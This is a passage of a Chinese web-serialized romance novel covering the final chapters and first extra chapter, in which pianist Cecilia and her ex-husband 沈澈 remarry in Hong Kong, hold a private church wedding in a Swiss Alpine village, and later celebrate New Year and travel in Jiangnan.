他简直想撂挑子:“闹了半天,我成给你打工的啦?!” 【作者有话说】 俺回来啦!今晚评论区给大家发点红包^ω^ 85 第85章 ◎去结婚。◎ 贺羡棠分给贺少川一碗鸡汤,让他到一边喝去,她得把小金库盘完。 贺少川说:“我不喝,你请我吃饭。” 贺羡棠说:“我没空。” 贺少川把桌子拍的哐当哐当响:“你发这么大的财,连一顿饭都不请我吃?!” 贺羡棠被他吵的头疼:“你好吵啊。” 贺少川大喊:“贺羡棠!!!” 贺羡棠揉了下耳朵,拿起手机一看,也快到饭点了,就放林律和顾问都先回去了。 “行,吃饭。叫上Mia一起吧。”贺羡棠转向沈澈,问,“我们去吃大排档吧?” 贺羡棠最近都在家,吃的清淡,有些想念长沙湾的烟火气。 她有一家很爱去的宝藏店铺,从六点钟营业到凌晨,基本上没有游客,都是本地人,味道一级棒。 贺少川刚想说她小气,就见沈澈朝他这儿望了一眼,说:“都好,问问大哥吧。” 他双臂抱胸,打量了沈澈好一会儿才开口:“你是沈澈吧?” 沈澈没说话,贺少川又问贺羡棠:“他受什么刺激了?” 贺羡棠哈哈一笑:“他在试用期,当然要表现好一点啦!” 贺少川一脸你们在搞什么鬼:“什么试用期?” 沈澈淡声说:“还没领证,可不就是试用期吗?” 看了一天的资料,贺羡棠头晕脑胀肩膀都酸了,伸着懒腰起身,一缕发丝缠进项链的锁扣里,沈澈帮她整理,又揉着她脖颈轻声问:“累不累?” 贺羡棠嚷道:“累死了!”她指挥沈澈,“下面一点。” 沈澈的手依言向下,给她捏肩膀。贺羡棠笑眯眯地小声夸了句什么,沈澈附在她耳边低语,贺羡棠的脸瞬间浮上一层樱粉。 贺少川止不住地翻白眼,这俩人在一块仿佛有一层结界,完全无视他这么个在这儿站了半天的大活人。 贺少川清清嗓子:“也就是说领证之后表现就不好了是吧?” 贺羡棠伸出一根手指晃了晃:“你不要挑拨我们俩的感情。” “我再来给你送鸡汤我就是狗。” 贺羡棠说:“你看你,怎么还急了。” 贺少川气得要死,一边翻白眼一边给Mia打电话。 长沙湾的大排档,不大的店,水泥地面,墙壁因年久失修太过斑驳而贴了一层蓝色泡沫垫。 厨房只搭了个简单的三面小隔间围起来,明火明灶,淋一圈油,火苗蹿起半米高,舔舐着铁锅锅底,空气里立刻弥漫起呛鼻的香味,因此整家店也常年在油烟里浸着,桌椅都有些黏糊糊的。 贺少川不住地皱眉头。 贺羡棠其实对就餐环境很有要求,她只喜欢干净、舒适、亮堂的地方,但为了这一口锅气满满的美食,她也完全可以放弃这些要求——只要穿上她最旧的衣服来就好了。 她向贺少川保证:“味道一绝!我们俩以前经常来。”她勾上Mia肩膀,“对吧?” 沈澈把她的胳膊拿下来,她笑了下,往他怀里靠,两个人拿这花里胡哨的菜单一起研究。 Mia终于理解为什么贺少川给她打电话说到这俩人时听上去有些无能狂怒:“我是来吃饭的不是来吃狗粮的!你们俩够了!” 贺羡棠抽了张菜单拍在他们俩面前:“你们也看一份。” 贺少川懒得看:“你点吧。” 她就拿起塑料圆珠笔在点菜纸上认真地写写画画。 铁板黑椒猪手软烂而不肥腻,椒盐九肚鱼外脆里嫩,香煎墨鱼饼配特制的料汁,蒜蓉粉丝蒸扇贝是大排档里最常见的菜。 贺羡棠最爱腊肠煲仔饭,大米粒粒分明油光闪闪,裹着葱花和腊肠一起送进嘴里,油润,香得要命。 能让贺羡棠和Mia纡尊降贵来吃的大排档果然名不虚传,贺少川吃了一口就不说话了,琢磨着开什么价才能把厨子挖回去。 贺羡棠有点馋冰啤酒。她酒量太差,面前只有一杯橘子汽水。 她戳戳沈澈胳膊,看着他那杯还在冒泡的冰啤酒:“给我尝一口。” 沈澈说:“不行,喝醉了怎么办?” “不会的。”贺羡棠拇指和食指捏在一起比了个大约一公分的距离,“就喝一点点,不会醉。” “你明天去拔牙。” 贺羡棠捂着脸,炎症消下去以后牙早就不疼了,她不想拔,说:“改天再去。” 沈澈无奈,就用小杯子给她倒了一点儿,贺羡棠夺走他原本那杯,咕嘟咕嘟喝了小半杯下去,脸瞬间红了。 沈澈彻底拿她没办法了,把啤酒瓶往她面前一放:“喝吧,随便喝。” 贺羡棠喝了酒之后处在一种奇异的兴奋状态里,看谁都两眼放光冒泡泡。 Mia说叶微要回老家,她托着腮微笑点头,Mia说她算跟她一起回去,她还是托着腮微笑点头。 贺少川说:“你去她老家干什么?不知道的以为你们俩才是一对!” 贺羡棠咧嘴大笑起来。 Mia没理贺少川,问贺羡棠要不要一起去玩。 沈澈缓缓坐直了。 贺羡棠正条件反射般要点头,忽然看了眼沈澈:“不行哎!我很忙的。” Mia疑惑:“你忙什么?” 为了安心养手伤,Quinn把她的工作都排到下个季度了。贺羡棠每天在家吃吃喝喝长蘑菇,活的像一个幸福的肥宅。 贺羡棠掰着手指头数,数了半天憋出一句:“要结婚……” 在香港登记结婚要预先递交拟结婚通知书并现场提交相关材料,选择注册日期。 贺羡棠和沈澈第二次结婚,还是请师傅算了个好日子,就在两月后,只等签订婚前财产协议后就去走流程。 律师会负责一切,基本上不用他们俩费心,所以这期间其实没什么事情做,但贺羡棠总觉得还忘了点什么。 她脑袋被酒精侵占了,眨着眼想了好一会儿,还是想不起来。 沈澈攥着她的手心,朝贺少川微微一挑眉。 贺少川无语,凑在Mia耳边说:“你看他。” Mia问:“怎么?” “他挑衅我。” Mia:“……” 贺少川一本正经地说:“你别去东北了,让我挑衅回去。” Mia让他哪凉快哪待着去。 沈澈总在琢磨那句要结婚。食客络绎不绝,门不停地开关,送进来八月底的晚风,夏末了,夜晚已经有些许凉爽,像他们轻装上阵的人生。 九月初,婚前财产协议拟好,贺羡棠和沈澈在石澳那栋别墅的书房里面对面签署了协议,一式两份,落款处两人的签名皆龙飞凤舞,落下的最后一笔,几乎要从纸页的边缘飞出来。 林佳替他们整理好所有文件,笑道:“祝二位百年好合,早生贵子。” 管家给在场的律师都送上红包。 林佳掂了掂份量,又说:“我可不希望再给你们拟第三份协议了,否则下次沈董要净身出户哦。” 沈澈今天穿了件宽松的衬衫,亚麻质地,整个人显得更加温和,仿佛一点棱角也无。他心情也好,所有的祝福打趣都微笑着接下,揽着贺羡棠肩膀说:“不会。” 九月,他们在尖沙咀递交了拟结婚通知书。香港的什么流程都很慢,离婚是这样,结婚也是这样,没领到证,沈澈日夜不安,数着日子过。 十月,贺羡棠陆续开始复工,首场音乐会在澳门办。沈澈自然不会缺席,又不要贺羡棠给的票,自己守着开票的时间抢了一张,位置不太好,在第六排角落里。 第二天一早贺羡棠就睡不着,爬起来看乐评。Quinn也守着,两人互相分享,幸而都是好评。 于是音乐会一场接一场,有独奏也有和知名乐团的合作。频繁的曝光和比赛的长尾效应让贺羡棠声名渐起,有篇杂志专访也在十月面世,题目叫——“三十岁,青年女钢琴家的突破”。 有一阵子贺羡棠比沈澈更忙,她在澳门办音乐会,沈澈为了见她,要乘直升机往返两地。 十一月,注册登记的日子。 林樾和郑婉秋作证婚人。 一大早沈澈就起来了,在卫浴间倒腾了自己半天。他昨晚睡不着,折腾着贺羡棠也没睡好。 两个人都顶着一样的黑眼圈,贺羡棠还能用遮瑕遮一下,沈澈忧心忡忡地问:“我这样会不会不上相。” 贺羡棠说:“我给你也遮一下?” 沈澈没有化过妆。且在他的意识里,只有女人和男明星才会化妆,他既不是女人也不是男明星,且他时间宝贵,绝不会浪费这种事上。 沈澈说:“不用。” 贺羡棠就嘲笑他是大男子主义。 沈澈为自己辩驳:“我不是。” 贺羡棠:“那你让我给你化妆。” 沈澈向后仰,一脸防备:“你想都别想。” 贺羡棠手握粉底液口红眼影遮瑕眼线笔逼近他,沈澈不停往后退,“咚”一下撞上墙。 他双手挡在面前:“贺羡棠你别闹!” 贺羡棠说:“我这是为了你拍照好看!” 她像一只猫,灵活地避开了沈澈的推阻,踮着脚靠近他。 粉底液就快糊上他的脸了,沈澈避无可避,很绝望。 然后贺羡棠最后“啵”一口亲在他脸上。 愣了半秒钟,沈澈反身把贺羡棠压在墙上亲。 亲了半天,最后差点迟到。 现场简单装饰过,办了个小仪式。 走出婚姻登记处,日头很好,天高气爽。贺羡棠抬头看太阳,眯了眯眼。 六年了,兜兜转转回到原点,她还牵着那个人的手。 上了车,贺羡棠开始犯困,缩在沈澈怀里打盹,没注意到迈巴赫开往机场方向。被沈澈抱着上飞机,她才迷迷糊糊地醒过来:“去哪?” 去结婚。 沈澈笑了下,大手盖住她眼睛:“再睡一会儿吧。” 【作者有话说】 来啦来啦,评论区给大家发点红包 第86章 全文完 86 第86章 ◎贺羡棠时常觉得她的人生就是由这样仿若永恒的时刻、热烈的爱和音乐组成◎ 十一月份,瑞士的天气已经冷下来了。阿尔卑斯山脚下的小镇是名副其实的“小”,整个镇子只有一条主干道,路的尽头是皑皑雪山。 抵达小镇时是傍晚,教堂的钟声随着风传得很远,飘渺又庄重。冬季日头短,没一会儿天就黑了,他们下榻的酒店就在主干道旁,一推开窗,能看见棕色小房子上亮起了成串星星点点的灯光。 瑞士快到雪季了,连路灯也是雪花的形状。贺羡棠查天气预报,虽然明后两天的天气都不好,但初雪要等到下周。 “我们待多久?” 沈澈关上窗,捧着她冻得通红的手哈气。他低垂着睫,眉目淡然柔和:“你想待多久?” 贺羡棠问:“你忙吗?” “不忙。” 来瑞士前,他加了一段时间的班,已经提前把工作处理的差不多了。 贺羡棠很高兴:“那待到下雪吧?”她往窗外看去,“不过这小镇子待半天就能逛得差不多了。” 沈澈说:“等后天可以去别的地方逛逛。” 贺羡棠点点头,又趴到窗户上看雪山,两手弯成一个括弧搭在脸颊边,好像这样能看得更清楚一点一样。没一会儿窗户上染上一层雾气,贺羡棠在上面写今天的日期。 是满月的日子,黄铜般的圆月就挂在雪山之巅。 沈澈喊她去泡脚,虽然室内暖气烘的人热乎乎的,但贺羡棠刚来的时候在外面逗留半天,她生理期快到了,沈澈怕她到时候不舒服。 贺羡棠缩在单人小沙发里,任沈澈伺候她脱掉鞋袜,眼睛还是盯着外面。 都到阿尔卑斯山了,她问:“能不能去滑雪啊?” 沈澈嗤笑一声:“你还是算了。” 贺羡棠就没什么运动细胞。 “看不起谁?!”贺羡棠说,“我滑雪还可以吧!” 沈澈学着她的腔调:“还可以吧。” 尾音起伏转折,听着嘲讽溢出来了。 贺羡棠用脚拨弄水溅他,结果就是刚泡上脚就被沈澈抱起来亲,他还偏偏不去床上,把贺羡棠压在窗边。 这边的建筑都很低,窗户明亮,感觉外面一抬头就能看清他们在做什么。贺羡棠挣扎着踢他,水都在他裤子上擦干了。 沈澈挠她痒痒肉,贺羡棠立马怂了,细细的手臂缠上他脖子:“我错了我错了!” 沈澈停手了。墙壁上一盏灯静静地散很柔和的光芒,落在贺羡棠鼻尖上,她的脸在昏黄的灯里,有一种朦朦胧胧的美,像一张旧照片,可每一处都那么生动,白瓷般的皮肤下透着薄薄的粉,嘴唇被亲的水润。 “你有没有听过一句话?” 贺羡棠问:“什么?” 沈澈挑起她下巴:“灯下看美人……” 贺羡棠小声骂他:“流氓。” 沈澈扯着唇角笑,没说话。 贺羡棠说:“你今天有点怪。” “哪里怪?” “说不上来。” 他平时话也少,可今天……贺羡棠就是觉得哪儿不对劲:“你不会憋着什么大事的吧?” 沈澈饶有兴趣地问:“我有什么大事?” 贺羡棠歪着脑袋想了会儿:“你破产啦?” 沈澈笑得肩膀抖了下。 贺羡棠拍着胸脯说:“没事儿,你破产了我养你。” 沈澈贴近她问:“养多久?” “养一辈子喽。”贺羡棠一脸淡定,“总不能结婚离婚结婚又离婚,唉——只能嫁鸡随鸡嫁狗随狗了。” 沈澈盯着她看,忽然又把她抱起来,大步走向卧室。 床垫承受两个人的重量,起起伏伏,贺羡棠的手松了又紧,攥着床单被罩以及一切她能抓住的东西,最后被沈澈握住。 灯光晃眼,贺羡棠只好闭上,一切触觉就更敏/感了。不知过了多久才结束,她脑海中一片混沌,沉浸在剧烈的快感中缓不过来神,只听见沈澈闷闷地在她耳边笑,讲:“舍不得我呢,bb。” 贺羡棠“嗷呜”一声埋进被子里。 托沈澈的福,到瑞士的第一天,她睡得很香甜,丝毫不受时差影响。 第二天早晨一醒过来,贺羡棠就被人七手八脚地推进衣帽间,她起猛了,头晕,眼前一阵阵地发黑,等缓过来才看见面前一条……缎面白裙子。 像婚纱。 抹胸的款式,腰间捏了褶,蓬起来的裙摆就像一朵花苞,泛着光泽的面料上用珍珠钻石和蕾丝钉着错落的小花朵,很长很长的拖尾。 等人拿出一条轻盈的花朵翩翩的头纱时,贺羡棠终于确定了,这就是件婚纱。 裙子很重,要好几个人帮忙才能穿上。 沈澈等得焦急,点了支烟,克制着推开那扇门的冲动。推开窗,凛冽的带着雪味的空气冲进来,吹散了微弱的烟草味。 一支烟燃尽,门开了。 贺羡棠拎着裙摆走出来。 头纱是整个盖住的,虽然透明,但终究是隔着一层轻纱。沈澈想起在brighten的高定屋里遇见她fitting那次,礼帽也是这样遮住了她的面容,那时沈澈就在幻想这一天了,简直让人无法克制撩开头纱亲她的欲望。 贺羡棠被身边人塞了一束铃兰捧花。 她小声说:“我就知道你在憋着件什么事。” 沈澈回神,没有刻意克制,撩开她的头纱亲上去。贺羡棠尝到他唇齿间薄荷的烟草味。 贺羡棠轻声问:“不是说这次不办婚礼了?” 他们离婚的消息就没对外公开,再次注册结婚也是一切低调从简,自然也就没有必要办婚礼。 沈澈摸着她的脸颊:“我还是想补给你,补一场起码是真心在讲誓言的婚礼。” “婚礼不能这样的。”她说。 沈澈问:“应该怎样?” 贺羡棠回忆上次那一场至今还被人津津乐道的世纪婚礼:“这个时候应该有伴娘堵门。” 沈澈一下也不错眼地看着她:“那我们回香港再办一场。” 贺羡棠说:“还是算了。” 她摸到沈澈手心的潮湿,笑他:“你紧张吗?” “只是觉得不真实。”沈澈又侧过头吻她。 人在最接近幸福的时候是这样的。总疑心一切是假的,是镜中花,是转瞬即逝的绮丽梦境,是波光一荡就碎掉的月。 他第一次婚礼,不知道珍重是什么滋味,按部就班地走流程,来往宴请。所有亏欠的一切一切,都在今天还回去了,三十多岁的人,还像个得到心爱的玩具就不肯撒手去睡觉的小孩儿一样。 沈澈长长地呼出一口气:“走了,去结婚。” 这座小镇只有一间教堂,被沈澈布置成堆满鲜花的样子。十一月实在很难在瑞士见到这么多的鲜花。 现场用了很多兰花和玫瑰装点,蜿蜒成鲜花瀑布,有点像盖茨比迎接黛西时的那个场景。 贺羡棠也不知道他出了多少钱才被允许在教堂里这样布置。 挽着沈澈的手缓缓走进,一路花香。 窗外是皑皑雪山,教堂内鲜花盛放如春。这场婚礼没有宾客,证婚的只有当地的一位牧师。 他一袭黑袍,用德语讲誓词,浑厚庄严的声音伴着钟声飘向穹顶。 “沈先生,贺小姐,你们是否愿意谨遵结婚誓词,无论贫穷还是富有、疾病或健康、美貌或失色、顺利或失意,都愿意爱ta、安慰ta、尊敬ta、保护ta,并愿意在你们的一生之中对ta永远忠心不变?” 贺羡棠定定地望着沈澈。 今日天气不怎么好,乌云遮天蔽日,但这一刻,厚重的云层里却泻下一束光,穿过穹顶,横在二人之间。 金色的、朦胧的、梦境般的。 他们笼罩在里面,像走过了过去和未来。 贺羡棠时常觉得她的人生就是由这样仿若永恒的时刻、热烈的爱和音乐组成的。 “Daswürdeichtun.” 薄唇轻启,两人异口同声地用德语答。 我愿意。 我愿意无论顺境逆境贫穷富有健康疾病都与你相伴,我愿意在我的一生之中为你永远忠心不变。 牧师单手捂住心口,微微垂下头:“那么我宣布,你们二人正式结为夫妻,受法律和上帝的保佑。” 沈澈握住贺羡棠的手,无名指上的婚戒闪闪发光。他真的很紧张,把贺羡棠握的有点疼。 贺羡棠踮起脚亲他。 一个吻结束,沈澈在她耳边低声说:“虽然没有宾客,但雪山和神明都会听见我在许誓。Cecilia,请你用一生的时光来监督和见证,我决不会违背我的誓言。” 他的声音像一壶最醇厚的酒,令人心醉。贺羡棠搂住他:“我喜欢这样。” 余光落向窗外,贺羡棠惊喜地发现:“下雪了,沈澈,下雪了!” 天公作美,这是小镇的初雪。 贺羡棠拎着裙摆跑出去,伸手接雪花。 教堂在一片山坡上,她一路往下跑,遇见的每一个人,手里都有一朵玫瑰,那是从非洲最好的玫瑰园里连夜空运来的,新鲜的还能闻到非洲大地上灿烂的阳光,于是每个人的脸上都挂着同样灿烂的笑容,祝她新婚快乐,连被小镇居民赶着的牛,也细声哞哞地叫,听上去同样是祝福。 谁说没有宾客,这座小镇的每一个人,都是他们婚礼的见证者。 一叠声的祝福中,贺羡棠转着圈转身,裙摆头纱飘扬,一回眸,就见沈澈站在她身后。 给她披上羊绒围巾,沈澈问:“你冷不冷?” 贺羡棠使劲摇头。 雪下得那么大,她摸了摸沈澈的头发。 “你头发白了。” 沈澈牵起她的手,在无名指上印下一吻。 “你也是。” 贺羡棠扑进他怀里,收获一个严丝合缝的拥抱。 眼前漫天大雪,沈澈抱着贺羡棠,像找到了他丢失的第十三根肋骨。 纽约的那一场雪淋到了今天。 今生同淋雪,也算共白头。 贺羡棠自此不需要再以淋雪为假设,他们终将白头。 ——全文完—— 【作者有话说】 正文完结啦! 就让故事停在这里吧。我笔下的故事完结了,但是在另一个世界里,dearcecilia,yourstorycanresume。 还有沈澈,娶到这样的老婆你小子偷着乐吧。 连载三个多月,在此还是感谢一路陪伴的各位读者们,你们能喜欢这篇文就是我一直写下去的意义。 完结前这一段时间总是请假,再次说一声抱歉。后续的番外打算写几则婚后日常幸福生活,以及Mia和贺少川的故事,至于赵珩,还是让他就像他和cici的故事一样吧,没有开始就有无限种可能。 下一本准备写宜新,不管是这篇还是今夜渡港那一篇这两对都有点辛苦,所以想写个轻松点的小甜文。 ps:完结啦完结啦搞个抽奖啦! 第87章 番外1 第87章 番外1 ◎往事今生◎- 往事 香港人,尤其沈家这样的大家族,是最重视春节的。 浅水湾老宅里的佣人们在一周前就忙起来了,这栋房子平日里就亮堂得一丝尘埃都没有,这几天更是连角落里无人在意的桌布都换了,垂下一片雪白。 沈澈一直忙到除夕这一天。他作为执行董事,向远南集团在全球各地的几万名员工致新春贺词。 除夕夜,是沈家人聚得最齐的一天,国内的国外的,亲的堂的表的,都在这一天团聚——除了沈濯。 沈澈提前问过贺羡棠的意见,是想回贺家过年,还是在沈家。 贺羡棠问他:“你要回家吗?” 沈澈“嗯”了声。 沈濯不在,他身为长子,不回去不合适。 贺羡棠就说:“那我跟你一起!” 她和沈澈结婚一年,从未见沈宅里这样热闹过。 四处张灯结彩,红灯笼在晚风里晃,小孩子们在庭院里打闹,笑声飘进贺羡棠耳中,叮叮当当,一串小铃铛似的。 她只站着看了一会儿,这群小孩儿就围上来问她讨利是。 贺羡棠攥着一沓红包挨个发,沈澈过来,他们忽然一哄而散。 还剩下几个没送出去,贺羡棠干脆一窝蜂塞进沈澈口袋里。 “小孩子们好像都很怕你。” 其实沈澈对小辈已经是很温和的了,只是他话少,冰山脸,总是很严肃的样子,所以小孩子们都不敢在他身边吵闹。 沈澈没接这句话,只说:“晚上凉,进去玩吧。” 西侧厅里支了麻将桌,贺羡棠一进去就是焦点,有人给她让位置,她推辞了几句,被人扶着肩膀按着坐下了。 手气不好,总是贺羡棠一个人输,但过年乐在一个高兴,散一点财,她高兴,满桌的人*都高兴。 沈澈过来看她打牌,输了一场接一场,忍不住嗤笑。 贺羡棠这才觉得有点赧然,要给他让位置:“你来打吧。” “坐着。”沈澈按住她肩膀。 他帮她摸牌,起手就是一副好牌,没打多久就胡了,清一色对对碰,赢三家。贺羡棠眉开眼笑,摸着他的手夸他。 有个小孩子忽然跑进来,一头撞上贺羡棠。 贺羡棠忙把她抱在腿上,拨开她额前的头发,轻声问:“疼不疼?” 小姑娘只摇头不说话,小小的手紧紧握成拳,过了一会儿,像下了好大的决心,摊开手,细声细气地说:“舅妈,给你吃糖。” 是很漂亮的小姑娘。贺羡棠笑了,收下这份好意,说:“谢谢你。” 小姑娘也跟着笑。 她妈妈是沈澈的表妹,怕累着贺羡棠,忙把她抱走。 不知是哪位长辈说了句:“cici还蛮喜欢小孩哦。” 贺羡棠点了下头:“嗯,很可爱。” “那你跟澈仔要努努力啦,早点自己生一个。” 贺羡棠顿觉被冒犯,她刚结婚没多久,还没有要小孩的打算。 长辈也许是好心,但她也不想答应下来,抬头看沈澈,强光灯刺眼,他眉眼英挺神色淡漠,看不出情绪,说话直来直去:“我工作忙,还没这个打算。” 长辈又开口了:“哎呦,古人都说先成家后立业……” 沈澈不耐烦的打断她:“我这不是成了么?” 长辈脸色不太好看,对贺羡棠说:“cici啊,你是不是嫌我话多?我这人就是这样,心直口快的。” 这话讲的不客气,贺羡棠也不高兴。但毕竟上面除夕,她还是笑着摇了下头。 “她没有嫌你话多,是我不爱听。”沈澈声音依旧很淡,“姑母有什么事,跟我说就行,她还小,不懂事。” 一共也没小几个月,这短护的太明显,一桌人寂静无声。 贺羡棠想笑,死死抿着唇。 沈澈揉她的头发:“我的打火机落在车上了,你去找一下。” “嗯。” 沈澈又说:“我陪你一起吧。” 贺羡棠走出西侧厅,脚步轻快起来,哼着歌,眉眼弯弯。 她挽上沈澈胳膊,低声讲谢谢。 沈澈说:“今晚人多,有谁讲了你不爱听的话,不用看在我的面子上搭理他们。” 贺羡棠问:“会不会不太好?” “不会。” “如果是你妈咪讲呢?” 沈澈说:“交给我。” 贺羡棠握住他的手,心安得像那年被绑架时一抬眼就看见了他一样- 今生 十点。 夜深了,太平山顶别墅一层的窗都开着,相较于恒温恒湿的系统,在春天,贺羡棠更喜欢自然风。 清风拂过,贺羡棠躺在窗边一张塌上玩单机小游戏。 沈澈回家时,贺羡棠已经睡着了。 外面起了雾,山上的晚风有些凉,把一盏灯吹的摇摇晃晃,落在她身上的光也跟着晃。贺羡棠一条胳膊蜷着,脸埋在里面,看上去丝毫不受光影打扰。 沈澈蹑手蹑脚地把她抱起来。 贺羡棠半睁开眼,被灯一晃,又闭上了。她睡了一会儿,鼻音有点重:“怎么这么晚?” “最近有些忙,不是说了不用等我?” “没有特意等你。”贺羡棠缠上他肩膀,鼻尖轻嗅,嫌弃道,“一股酒气。” “只喝了一点点,这也能闻出来?”沈澈偏要去亲她,贺羡棠扭着腰躲,闹了一阵,彻底清醒了。 上楼洗漱,贺羡棠托着湿漉漉的头发,一手去拿吹风机。 沈澈也已经洗完澡,一身清爽,带着点很好闻的薄荷味。 他只系了条浴巾,贺羡棠目光落在紧实的肌肉上。 跟在健身房里刻意练出来的不一样,底子是年少时被父亲丢在射击场里锤炼出来的,沈澈又一直有运动的习惯,因而线条坚实流畅,却又不显得粗犷。 不多不少刚刚好,是贺羡棠最喜欢的类型。她无所顾忌地打量着,手上没了动作,沈澈接过吹风机。 “愣什么?” 他说这话时,带着明知故问的戏谑和一点得意。贺羡棠笃定他是故意穿成这样的,也故意说:“我在想前段时间和叶微去看的那场男装秀,模特身材一个比一个好哎。” 沈澈问:“比我还好?” 贺羡棠说:“当然啦,人家是模特!” 沈澈才不信,那些模特一天只吃一顿饭瘦的像电线杆。 “你再说一遍,谁的身材更好?” 贺羡棠紧紧抿着唇才不至于笑出声,十分放肆地在他身上摸来摸去。 沈澈放下吹风机,把她抱上流理台,眉梢轻扬:“嗯?” “你吃醋也不能改变事实……”贺羡棠说着说着声音越来越小,在他越来越危险的目光中立刻认怂,“你身材好,你身材最好!” 大丈夫能屈能伸。 沈澈轻哼一声表示原谅,贺羡棠跳下来,把吹风机又塞进他手里,埋怨:“我头发还没吹呢!” 沈澈握住她发尾,细细地给她吹头发。贺羡棠教过他,吹头发要先这样再那样才能吹捧,沈董现在手艺好的能去当托尼。 贺羡棠发丝很柔顺,在手里不留神就溜出去了。吹完,沈澈捧着深深地问了一口,是一股很淡的花香。 “你换洗发水了?” 贺羡棠“嗯”了声,跳到他身上:“好不好闻?” “很好闻。”沈澈托着她,偏过头亲了她一口。 贺羡棠其实又有些困了,趴在他肩膀上,眼皮昏沉沉的,嘟囔着问了句:“明天你还要加班吗?” 沈澈这几天很忙,有时连饭也顾不上吃,倒是贺羡棠刚结束一轮巡演,近一个月都没什么事做。 不过沈澈也千方百计地抽时间刷存在感,开会的间隙也要抱着手机找她聊两句,贺羡棠有时和Mia在外面玩,两分钟没回他,他就打电话。 他的话题都是些无足轻重的小事,比如Tina在减脂,给他准备的餐食也都是清一色的减脂餐。 贺羡棠说:“如果你加班的话,我明天熬汤给你送过去。” 沈澈愉悦地说:“老公要休假了。” 贺羡棠又不困了,抬起头看他:“真的啊?” “当然了。”沈澈低笑,“不然老公这几天忙什么?” 贺羡棠前阵子巡演,全世界各地到处跑,沈澈独守空房,想见她一面都得打飞的,好不容易逮到她休息,自然想把时间都空出来,只好加班加点几天,把手头的工作都先处理完。 贺羡棠捧着他的脸亲了一大口:“那咱们出去玩吧?” “想去哪?” 三四月春光无限,当然去江南。 贺羡棠待在国外的时间久,大陆反而不怎么来,这次就他们两个去玩。 大陆治安好,不带保镖保姆,轻轻松松的,规划的路线是从南京苏州到杭州再到景德镇。 晏宁就是苏州人,什么好玩什么好吃,给了贺羡棠很多建议。 春天江南的气温起伏不定,一会儿热的要穿夏装,一会儿冷的能穿针织衫,尤其下过雨,那真是倒春寒。 南朝四百八十寺,江南一带自古寺庙就多,遇见了,贺羡棠总要进去,就是单纯地拜一拜,也没什么愿望。 她觉得现在很好,不想再要更多。 沈澈虽然不信这些,倒也愿意陪她。刚迈出大雄宝殿的门槛,雨忽然就下起来了,雨丝莲花状的雨链往下淌,在漆黄的缸里荡起一圈圈涟漪。 谁也没带伞,只好在檐下躲雨。 江南的寺庙秀气,隐在朦胧烟雨里,更显精致。春季里满目新绿,贺羡棠仰着头看风景。 沈澈牵住她的手问:“刚刚许了什么愿望?” 贺羡棠说:“没许愿啊。” 她在里面拜的那么虔诚,边边角角都拜了,双手合十垂下眼睫,那么虔诚,居然没许愿。 沈澈问:“真的没许?” 他疑心她会信什么愿望说出口就不灵了。 “没有。”贺羡棠说,“我只在香港许过一次愿,很多年了。” 沈澈刨根问底:“什么愿望,实现了吗?” “说出来就不灵啦!”雨天,寺庙里清净,贺羡棠东张西望半天,见四下无人,迅速在他脸上亲了一口,呲着小白牙笑,“不过已经实现了。” 雨水声滴滴答答。 沈澈好像猜到了她的愿望。 幽静的佛刹里,不知道从哪冒出来一个小姑娘,穿鹅黄色雨衣,在水坑里蹦。 贺羡棠没事干,视线就随着小女孩走,沈澈搂过她,捂着她微凉的双手,贴在她耳边问:“想要吗?” 贺羡棠语出惊人:“你给我偷一个?” “……”沈澈的手贴上她小腹,“……你不能生?” 贺羡棠揍他:“你才不能生!” “咱俩就不能都健健康康的吗?” 贺羡棠大笑。 去景德镇待了好多天,贺羡棠一进景德镇,就像进了米仓的老鼠,淘了很多好看的花瓶,还兴致勃勃地带沈澈去diy。 她手巧,捏一只细口花瓶,熟练的不像新手,捏完让沈澈上色,淡雅渐变的绿,要一个月才能拿到成品,贺羡棠朝思暮想,恨不得在当地住上一个月。 出来许久,沈澈工作都堆成山了,贺羡棠也要回港安排巡演事宜,他们不得不结束旅途。 落地当晚,恰逢晏宁和沈濯回香港,便从机场直接去浅水湾吃饭。 晏宁带着女儿,Angel冰雪聪明,小鹅蛋脸,一双大眼睛,完全遗传了父母的优良基因。 晏宁问她有没有去西园寺吃素面,那里的素面一绝,素菜浇头,偏甜口的。 贺羡棠拿一串钻石流苏耳钉逗Angel玩,小孩子像猫,都喜欢亮晶晶的东西。 Angel正是好奇心旺盛的年纪,拿到了就想塞进嘴里尝尝,贺羡棠忙制止她:“不要不要!bb乖,这个不能吃!” 她抬头,朝晏宁笑了笑:“你刚刚说什么?” “没什么。”晏宁弯下腰,点一点Angel的小鼻尖,“叫伯母。” Angel奶声奶气的:“伯母!” 贺羡棠心都要化了。 晚上回家,贺羡棠洗完澡,站在卫浴间的大镜子面前吹头发,忽然心念一动,把浴袍换成了吊带睡裙。 白色,短的,只到大腿。 鬼迷心窍,她还给自己喷了点香水。广藿玫瑰,有一点点柠檬味,闻起来像初夏清晨一支带着露水的玫瑰,很清爽。 贺羡棠抬起手腕闻了半天,满意了,小跑出去,一头扎进沈澈怀里:“老公!” 沈澈定定地看了她一会儿,缓缓开口:“你不对劲。” 贺羡棠:“?” 沈澈略一思索,问:“说吧,你把我保险柜里的酒喝了还是把楼下那支一个多亿的古董花瓶打了?” 媚眼抛给瞎子看! 贺羡棠生气了,小手给自己扇风降温:“你是不是瞎!” “我没瞎。”沈澈挑了下细细的吊带,微微眯起泛光的眼,“你穿成这样……不是闯祸了?” 贺羡棠还在不停扇风。 淡定,淡定,目标还没达成。 贺羡棠把手腕凑近他挥了挥:“香不香?” 太主动了,犯的错肯定比一个亿要多。沈澈问:“你把咖啡泼到梵高那副向日葵上了?” 那是去年他辗转从一位美国的私人收藏家手里买来送给贺羡棠当生日礼物的,这些私人收藏家大多都拿钱当废纸,他找人牵线搭桥,颇费了一番力气。 贺羡棠快要被气得心肌梗塞了。 她瞪着沈澈,心想怎会有人如此不解风情。 “没关系,”沈澈将她拥入怀中,“虽然剩下的向日葵都在美术馆里了,但老公也可以努努力去帮你偷来。” 贺羡棠瞪着他:“你给我偷个小孩!小女孩!” 沈澈缓缓扬起一抹笑:“早说啊,你馋人家小孩儿了?” 贺羡棠撇撇嘴。 沈澈猛地把人抱起来,顺手拿了条领带蒙住她眼睛。 一片漆黑里,所有的感官都被放大。 贺羡棠不安地动了下,沈澈握着她的脚腕,细密的吻由此向上。 他在这件事上像一头最富有耐心和技巧的野兽,不多时,贺羡棠浑身变得柔软而湿润。 “沈澈。” 沈澈慢条斯理地啄吻她的唇,一只手仍然在作恶。 “让我看看你。”贺羡棠声音染上哭腔。 沈澈咬着她耳垂:“叫点好听的。” 不知怎么,在这种时刻,贺羡棠叫不出口。她张了张嘴,最终放弃,只从喉咙里挤出一点破碎的声音。 